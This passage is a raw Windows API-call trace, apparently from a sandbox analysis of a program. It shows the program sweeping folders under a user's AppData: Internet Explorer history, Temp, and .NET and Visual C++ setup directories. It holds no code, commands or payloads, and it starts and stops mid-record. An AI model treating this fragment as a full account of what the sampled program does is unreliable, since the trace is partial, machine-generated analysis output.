lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc519e4a0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xc519e4a0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc519e4a0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017101720171018", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017101720171018", lpFilePart=0x0) returned 0x5e [0070.222] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017101720171018\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8a40 [0070.222] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017101720171018", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017101720171018", lpFilePart=0x0) returned 0x5e [0070.571] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Deployment", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Deployment", lpFilePart=0x0) returned 0x2f [0070.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Deployment" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\deployment"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0e37d80, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xd53514c0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xd53514c0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.572] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Deployment", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Deployment", lpFilePart=0x0) returned 0x2f [0070.572] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.572] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.573] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Deployment", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Deployment", lpFilePart=0x0) returned 0x2f [0070.573] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Deployment\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.573] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.573] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.573] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\hsperfdata_kFT6uTQW", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\hsperfdata_kFT6uTQW", lpFilePart=0x0) returned 0x38 [0070.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.573] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\hsperfdata_kFT6uTQW" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\hsperfdata_kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x39d99420, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x4e50fd30, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x4e50fd30, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\hsperfdata_kFT6uTQW", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\hsperfdata_kFT6uTQW", lpFilePart=0x0) returned 0x38 [0070.574] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\hsperfdata_kFT6uTQW\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.575] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.575] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.575] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\hsperfdata_kFT6uTQW", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\hsperfdata_kFT6uTQW", lpFilePart=0x0) returned 0x38 [0070.575] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\hsperfdata_kFT6uTQW\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.575] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.575] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.575] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\lilo.144", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\lilo.144", lpFilePart=0x0) returned 0x2d [0070.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\lilo.144" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\lilo.144"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4767a00, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xe4767a00, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xe4767a00, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.576] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\lilo.144", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\lilo.144", lpFilePart=0x0) returned 0x2d [0070.576] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\lilo.144\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.576] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.576] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.576] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.576] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\lilo.144", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\lilo.144", lpFilePart=0x0) returned 0x2d [0070.576] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\lilo.144\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.576] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.577] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.577] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Low", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Low", lpFilePart=0x0) returned 0x28 [0070.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.577] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab27a5f0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc42816f0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc42816f0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Low", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Low", lpFilePart=0x0) returned 0x28 [0070.577] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Low\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.577] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.577] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.578] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.578] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Low", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Low", lpFilePart=0x0) returned 0x28 [0070.578] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Low\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.578] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.578] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.578] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.578] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft .NET Framework 4 Setup_4.0.30319", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft .NET Framework 4 Setup_4.0.30319", lpFilePart=0x0) returned 0x4f [0070.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft .NET Framework 4 Setup_4.0.30319" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\microsoft .net framework 4 setup_4.0.30319"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bd99dd0, ftCreationTime.dwHighDateTime=0x1d2ec0b, ftLastAccessTime.dwLowDateTime=0x4bd99dd0, ftLastAccessTime.dwHighDateTime=0x1d2ec0b, ftLastWriteTime.dwLowDateTime=0x4bd99dd0, ftLastWriteTime.dwHighDateTime=0x1d2ec0b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft .NET Framework 4 Setup_4.0.30319", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft .NET Framework 4 Setup_4.0.30319", lpFilePart=0x0) returned 0x4f [0070.580] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft .NET Framework 4 Setup_4.0.30319\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.580] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.580] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.580] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.580] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft .NET Framework 4 Setup_4.0.30319", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft .NET Framework 4 Setup_4.0.30319", lpFilePart=0x0) returned 0x4f [0070.580] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft .NET Framework 4 Setup_4.0.30319\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.580] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.580] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.580] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.580] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219", lpFilePart=0x0) returned 0x64 [0070.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\microsoft visual c++ 2010 x64 redistributable setup_10.0.40219"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbfe195d0, ftCreationTime.dwHighDateTime=0x1d2ec0a, ftLastAccessTime.dwLowDateTime=0xbfe195d0, ftLastAccessTime.dwHighDateTime=0x1d2ec0a, ftLastWriteTime.dwLowDateTime=0xbfe195d0, ftLastWriteTime.dwHighDateTime=0x1d2ec0a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.581] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219", lpFilePart=0x0) returned 0x64 [0070.582] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.582] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.582] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.582] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219", lpFilePart=0x0) returned 0x64 [0070.582] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.582] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.582] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.582] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219", lpFilePart=0x0) returned 0x64 [0070.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.583] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\microsoft visual c++ 2010 x86 redistributable setup_10.0.40219"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc0c394c0, ftCreationTime.dwHighDateTime=0x1d2ebb6, ftLastAccessTime.dwLowDateTime=0xc0c394c0, ftLastAccessTime.dwHighDateTime=0x1d2ebb6, ftLastWriteTime.dwLowDateTime=0xc0c394c0, ftLastWriteTime.dwHighDateTime=0x1d2ebb6, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219", lpFilePart=0x0) returned 0x64 [0070.583] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.583] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.584] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.584] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219", lpFilePart=0x0) returned 0x64 [0070.584] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.584] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.584] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.584] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\outlook logging", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\outlook logging", lpFilePart=0x0) returned 0x34 [0070.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.585] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\outlook logging" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\outlook logging"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: 